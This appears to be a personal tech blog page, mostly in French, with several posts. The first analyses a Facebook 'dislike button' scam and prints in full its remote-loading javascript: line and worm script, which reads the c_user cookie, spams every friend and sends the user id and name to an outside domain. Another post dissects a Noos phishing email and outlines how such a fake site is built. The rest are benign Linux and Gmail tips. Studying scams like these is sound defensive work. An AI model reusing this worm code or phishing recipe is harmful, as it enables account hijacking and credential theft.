A dislike button!?

Posted on 13:58, under


If you want to add this famous 'dislike' button, you should added this line in the address bar, I will try to explain step by step what's happen:
javascript:javascript:(a=(b=document).createElement('script')).src='
//chinawarrior4u.info/dislike/button.js',b.body.appendChild(a);void(0





  1. 1- The line below append a javascript inside your browser and so, you browser will execute the script //chinawarrior4u.info/dislike/button.js on your

  2. current facebook page (home.php)*/

  3. javascript:javascript:(a=(b=document).createElement('script'))
    .src='//chinawarrior4u.info/dislike/button.js',
    b.body.appendChild(a);void(0)



  4. /*2- This is the script, see my comment*/


  5. /** This function will be call in order to read the facebook cookie of the current user in order to get the user id**/

  6. function readCookie(name) {

  7. var nameEQ = name + "=";

  8. var ca = document.cookie.split(';');

  9. for (var i = 0; i < ca.length; i++) {

  10. var c = ca[i];

  11. while (c.charAt(0) == ' ') c = c.substring(1, c.length);

  12. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)

  13. }

  14. return null

  15. }

  16. var randomnumber=Math.floor(Math.random()*99999);

  17. /** getting the userId **/

  18. var user_id = readCookie("c_user");


  19. /** getting the username in the DOM -> <a href=?"http:?/?/?www.facebook.com/?GaryBenattar" id=?"navAccountName">?Gary Benattar?</a>? **/

  20. var user_name = document.getElementById('navAccountName').innerHTML;


  21. /** some variable for the message content that will be send to user's friends **/

  22. var message = "Facebook now has a dislike button! Click
    'Enable Dislike Button' to turn on the new feature!";

  23. var jsText = "http://tiny.cc/pzqup";

  24. var myText = "Enable Dislike Button";


  25. /** getting the last form id on the facebook page in order to put these two variable in the famous connect call **/

  26. var post_form_id = document.getElementsByName('post_form_id')[0].value;

  27. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;


  28. /** user id **/

  29. var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);


  30. /** get all of your friends **/

  31. var friends = new Array();

  32. gf = new XMLHttpRequest();


  33. /** can't get php file content, but I think it will connect using FB connect and retrieve all of your friends **/

  34. gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);

  35. gf.send();

  36. if(gf.readyState!=4){ }else{

  37. data = eval('(' + gf.responseText.substr(9) + ')');

  38. if(data.error){ }else{

  39. friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});

  40. }

  41. }


  42. /** iterate over all friends and send us the same link in feed href with the appId: 6628568379 **/

  43. for(var i=0; i<friends.length; i++){

  44. var httpwp = new XMLHttpRequest();

  45. var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";

  46. var paramswp = "&__d=1&app_id=6628568379&extern=1&" +

  47. "&post_form_id=" + post_form_id +

  48. "&fb_dtsg=" + fb_dtsg +

  49. "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +

  50. "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +

  51. "&feed_info[app_has_no_session]=true&
    feed_info[body_general]=&feed_info
    [template_id]=60341837091
    &feed_info[templatized]=0
    &feed_target_type=target_feed
    &feedform_type=63&lsd&nctr[_ia]=1
    &post_form_id_source=AsyncRequest
    &preview=false&size=2&to_ids[0]=" + friends[i].uid +

  52. "&user_message=" + message;

  53. httpwp.open("POST", urlwp, true);

  54. httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  55. httpwp.setRequestHeader("Content-length", paramswp.length);

  56. httpwp.setRequestHeader("Connection", "keep-alive");

  57. httpwp.onreadystatechange = function(){

  58. if (httpwp.readyState == 4 && httpwp.status == 200){


  59. }

  60. }

  61. httpwp.send(paramswp);

  62. }


  63. /** redirect to a stupid message and location **/

  64. alert("Account Verification Required To Enable The Dislike Button \n\ Please Press 'OK' To Verify Your Account.");

  65. window.location = "http://treefittylol.info/final.php?userid="+user_id+"&name="+user_name;

Digg this

| Send by Email/Envoyer cet article par Email edit post
Il y à quelques jours, on à tous eu le droit à un petit formulaire nous permettant de choisir nos règles de confidentialité sur Facebook, on avait deux choix: 'old settings' et 'new settings' (anciens et nouveaux paramètres) et comme les gens ne prennent pas la peine de lire ce qu'on leurs demande et que nous avons tous un penchant naturel pour le 'nouveau' (de plus nouveau etait pré selectionné) alors on clique sur 'ok'!
Sauf que les nouveaux parametres permettent aux amis de vos amis de voir toutes vos photos....
Merci Facebook...
Vous pouvez toujours changer vos parametres à tous moment dans 'settings' -> 'privacy settings' (en haut à droite).
Digg this

| Send by Email/Envoyer cet article par Email edit post


Voici le mail que j'ai reçu il y a quelques jours :
---------------------------------------------------
Cher (e) client (e) Noos :

En procedant sur le serveur a une verification concernant la globalite des transactions des paiements effectuees, nous avons releve le probleme suivant :

Des informations confidentielles relatives a vos coordonnees bancaires ont ete transmises a un tiers qui a tente d en faire un usage frauduleux .

Ce tiers aurait l intention d effectuer des achats en ligne sur plusieurs sites d achat (des commandes depassant les Cinq cent quatre-vingt euro) et qui seront envoyees a de differentes adresses postales en France metropolitaine la semaine prochaine.

Notre cellule a pu temporairement bloquer le formule de securite a la source en attendant l envoi par vous d informations necessaires pour prouver leur illegalite au niveau du commercant.

Nous vous prions de bien vouloir vous connecter sur le lien qui en Bas et nous communiquer toutes les informations necessaires dont un numero de telephone joignable.

En cas de non reponse a ce mail ces transactions seront debloquees comme etant legales et aucune reclamations ne sera acceptee.

Cliquez ici pour fournir vos informations necessaire

Nb :
Toutes les informations fournies doivent etre rigoureusement correctes, toute erreur ou omission, pourraient entraver la procedure de blocage.

Cdt.
Service Clients Numericable.
---------------------------------------------------
Voici ce qu'il faut faire quand on reçoit ce genre de mail!
1- Ne vous fiez pas à l'adresse mail de l'expéditeur, ça n'a pas de valeur, dans notre cas : assistance@noos.fr
2- Vous pouvez cliquer sur le lien : et la : surprise, on arrive sur un site dont l'adresse est : http://tat-management.ch/includes/Moncompte-Noos/connexion/information.php
Bizarre, alors la on va sur www.who.is et on fait une recherche du nom de domaine : tat-management.ch et la voici les infos :
--------------------------
Domain name:
tat-management.ch

Holder of domain name:
Büro Vier AG
Reumschüssel Thomas
Gibraltarstrasse 23
CH-6003 Luzern
Switzerland
Contractual Language: German

Technical contact:
LOGNET AG
Burkart Benedikt
Studbachstrasse 13c
CH-8340 Hinwil
Switzerland

Name servers:
asaxp1.actiris.ch [217.162.17.10]
asaxp2.actiris.ch [77.72.71.11]

---------------------------
Encore plus bizarre, mais avant d'affirmer que c'est du phishing, on fais une recherche pour la vrai adresse de noos et on obtient:
--------------------------
registrar: NC NUMERICABLE
type: Non conventionne

address: 10 Rue Albert Einstein

address: CHAMPS SUR MARNE

country: FR

phone: +33 1 70 00 70 07

anonymous: NO

registered: 20/09/2006 source: FRNIC
--------------------------
.
Cela signifie que les hébergeurs sont différents alors que le site est censé être le même.
Alors la on en est sur! C'est un faux site web!
Si on n'est pas convaincu, on peut se rendre compte que le site est très très mal fait, et ne ressemble pas du tout a celui de noos:



En gros pour monter un arnaque de ce genre:
1- On vole le header et footer d'un site web (ici noos.fr) (0.2 secondes :))
2- On créer un formulaire avec toute les infos que l'on veut + on y insère le header + footer de noos (3 minutes)
3- On créer le processus d'insertion des données dans une base de donnée (1 minutes)
4- On prend soin de rediriger, après l'envoi du formulaire, les utilisateurs sur le vrai site
On met le site en ligne, et hop on choppe plein de numéros de cartes bleue!!!!!

Ici les mec sont nullissimes, ils prennent même pas la peine de faire un truc identique!
Mais à mon avis, beaucoup de gens se sont fait avoir!
Soyez vigilant!
Digg this

| Send by Email/Envoyer cet article par Email edit post


Après une installation de Ubuntu, j'ai décidé de tester Xfce.
Pour l'installer il suffit de taper dans un terminal :
sudo apt-get install xfce4
Profitez en pour installer les thèmes :
sudo apt-get install xfce4-themes

Il vous faut maintenant sortir de votre session Ubuntu (Logout ou déconnexion).
Ensuite, en bas à droite de votre Gnome Screen vous avez "Sessions", vous choisissez Xfce.
Et hop, faites un clique droit et amusez vous à configurer comme bon vous semble xfce.

Un vrai bonheur et en plus c'est très rapide!!!!
Digg this

| Send by Email/Envoyer cet article par Email edit post

EyeOS - Magnifique

Posted on 04:38, under , ,



EyeOs est un système d'exploitation Web :
"eyeOS est un environnement de bureau libre (sous licence AGPL v3) basé sur une interface Web. Il permet à l'utilisateur d'accéder à son bureau, ses fichiers et ses applications eyeOS à partir de tout navigateur, sur n'importe quel ordinateur, en n'ayant besoin que d'un système de base permettant de faire tourner un navigateur et d'une connexion internet."

Pour plus d'info : http://fr.wikipedia.org/wiki/EyeOS

Il vous faut LAMP: php, Apache, mysql, phpmyadmin
Sous un terminal :
sudo apt-get install apache2 apache2-doc mysql-server php5 libapache2-mod-php5 php5-mysql phpmyadmin

Une fois eyeOS télécharger (pour le télécharger cliquez ici) , vous le décompresser et vous copier le dossier à la racine de votre serveur -> /var/www
Après vous ouvrez votre navigateur et vous taper: http://localhost/eyeOS/installer/install

Vous suivez les instructions: et Hop! un OS sur le web!
Bravo à eyeOS et en plus c'est très beau.
Digg this

| Send by Email/Envoyer cet article par Email edit post

Encore Bravo aux créateurs de ce site web pour ce magnifique message...
Digg this

| Send by Email/Envoyer cet article par Email edit post


Hi everybody!
1) You can find the icon & GTK & Emerald theme here:
http://www.gnome-look.org/content/show.php/Gray+Dark+Ice+Emerald+Theme?content=73173
2) If you want to customize your shell with colors, you need to modify the .bashrc into your home directory
You can open a terminal and gedit .bashrc & -> you can modify the color prompt section
3) With .bashrc you can easily create some alias or some cmd.
You can look at the end of my file :
//.bashrc
# Calendrier du mois avec le jour en cours en rouge:
alias cal='var=$(/usr/bin/cal -m); echo "${var/$(date +%-d)/$(echo -e "\033[1;31m$(date +%-d)\033[0m")}"'

# les 10 plus gros fichiers/répertoires du réperoitre en cours
alias topten='du -sk $(/bin/ls -A) | sort -rn | head -10'

# change le titre de la fenêtre de la console
t () {
echo -ne "\\e]2;$1\\a"
}


# some more ls aliases
alias ll='ls -l'
alias free='free -m'
alias df='df -h'
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias glxgears='glxgears -printfps'
# set a fancy prompt (non-color, unless we know we "want" color)
PS1="\[\033[01;31m\][\u@\h\[\033[00m\]:\[\033[01;34m\]\w]\[\033[00m\]\$ "

//end of .bashrc

If you have some question feel free to email me.
Digg this

| Send by Email/Envoyer cet article par Email edit post


J'ai acheté un blackberry Curve 8310 chez SFR, il y à trois jours.
Je ne connaissais rien au fonctionnement des services blackberry et j'ai cru comprendre en lisant de nombreux blogs que beaucoup d'abonnés rencontraient des problème avec leurs portables:
Impossibilité:
- d'envoyer des MMS
- de se connecter au web via vodafone live OU/ET des applications tierces telles que Gmail ou Google Maps
- de recevoir des messages via blackberry messenger

Voici la solution:

Tout d'abord il faut IMPÉRATIVEMENT souscrire à l'option Business Mail pour Blackberry (9 Euros/Mois). Sans cette option vous ne pouvez rien faire, votre blackberry se limitera aux fonctions basiques: Texto + Appels.

Ensuite il faut se connecter à l'adresse suivante : https://bis.eu.blackberry.com/html?brand=vodafr.
Il vous faut renseigner l'IMEI et le PIN de votre blackberry (pour le connaitre allez dans les paramètres de votre mobile, puis "État").

En suite vous pouvez enfin ajouter une boite email (Gmail, Hotmail, Yahoo etc...) C'est très simple.
Il ne vous reste plus qu'à vous rendre dans la section "annuaires de services" et à vous envoyer les annuaires des services.

Si vous ne recevez toujours rien. Il vous faut IMPÉRATIVEMENT appeler SFR et demander un SPÉCIALISTE BLACKBERRY. Demandez lui si la fonction business mail est bien activée.
Votre blackberry commencera à vous ajouter des applications et à recevoir vos email.

Si vous rencontrez encore des problèmes merci de les poster en commentaire.

A bientôt,
Digg this

| Send by Email/Envoyer cet article par Email edit post


1- Les filtres de mail



Le filtrage de mail est une des fonctions la plus utile de Gmail. Dans -> Settings (Paramètres) -> Filters (Filtres) vous pouvez ajouter des filtres pour un ou plusieurs critère(s) de vos emails:
- un expéditeur ET/OU
- un Destinataire ET/OU
- un sujet ET/OU
- un Groupe de mots présent dans les mails

Mais à quoi ca sert?
Ces filtres permettent de structurer et de classer sa boite Gmail, prenons un exemple:

Pour tous les mails de Techcrunch.fr je demande à Gmail de leurs appliquer un label : Tech News et de les marquer comme lus.
Ce qui me permet de retrouver instantanément les mails de Techcrunch dans Tech News et de les lires lorsque j'ai du temps.

2- Gérer tous ces comptes gmail sur une seule et unique session Gmail



Dans Settings (Paramètres) -> Accounts (Comptes) -> Get mail from other accounts (Recevoir les emails d'autres comptes) vous pouvez ajouter autant de compte mail que vous le voulez.
Gmail demande une vérification en vous envoyant un mail sur votre autre compte Gmail.
C'est vraiment très simple de configuration.

3- Gmail Labs (nouveau)




Voici la fonction qui est la plus utile dans le Gmail labs ( Settings (Paramètres) -> Labs)
Gmail propose des superstars, cette fonction est très utile pour classer ses mails par ordre d'importance, de plus vous pouvez choisir les petites icônes que vous voulez. Il suffit ensuite de cliquer à répétition sur l'étoile à gauche de l'email dans la boite de réception pour voir défiler les différentes icônes que vous auraient choisis.

Si vous n'avez pas encore de compte Gmail, inscrivez-vous ici.
Digg this

| Send by Email/Envoyer cet article par Email edit post



Avez vous remarqué ce petit carré en haut à gauche de votre compte gmail?
Bizarre, on peut facilement rajouter une propriété de type :hidden dans le Css de gmail, google aurait facilement caché ce "carré" qui sert à un javascript pour les "sons" de Gtalk.
Alors pourquoi ne l'on t-ils pas fait?

Encore plus bizarre, faites une recherche google, cliquez sur "next" ou "previous" et vous allez voir apparaitre un mini pixel en haut à gauche de la flèche.....


Alors? Google nous cache t-il quelque chose?

Hummmm Hummmm :)
Digg this

| Send by Email/Envoyer cet article par Email edit post
Pour tous les fans de Unix, voici Goosh un shell pour faire vos recherches Google. C'est excellent.
Commencer par taper "help" pour voir la liste des commandes disponibles (recherche videos, images, wikipedia ...). Certaines commandes linux fonctionne ("ls" - la tabulation ...)


Bravo et merci Goosh!

www.goosh.org
Digg this

| Send by Email/Envoyer cet article par Email edit post

A ne pas utiliser ce service est payant!




Wow, ca c'est un super logiciel, il télécharge et met a jour toutes les pochettes d'albums pour votre library itunes.

Télécharger iArtwork : http://iartwork.net/
Digg this

| Send by Email/Envoyer cet article par Email edit post

Aptana Studio...

Posted on 12:39, under , ,

aptana



Je cherchais un outil d'édition de code HTML sous Vista (Et oui, à la base juste pour Adobe CS3). J'ai l'habitude de Bluefish sur Ubuntu, je pourrai tout faire sur le bloc note mais j'aime les couleurs des balises, c'est plus sympa.
ET la...... Aptana studio... INCROYABLE, on dirait eclipse mais en plus cool, éditeur HTML, correction et validation de code css, js etc...
Chapeau Messieurs..
Téléchargement: http://www.aptana.com/studio/download
Digg this

| Send by Email/Envoyer cet article par Email edit post
C'est tout bête, je viens de modifier les boutons du fabuleux script lightbox (http://www.huddletogether.com/projects/lightbox2/#overview):

Ci dessous: closelabel, next et previous.




Enregistrer une par une les images dans votre dossier "lightbox/images"
Et hop!
Digg this

| Send by Email/Envoyer cet article par Email edit post


Thanks to BitBlitter, you can download the wallpaper here: http://art.gnome.org/backgrounds/abstract/2620
Wow!
Digg this

| Send by Email/Envoyer cet article par Email edit post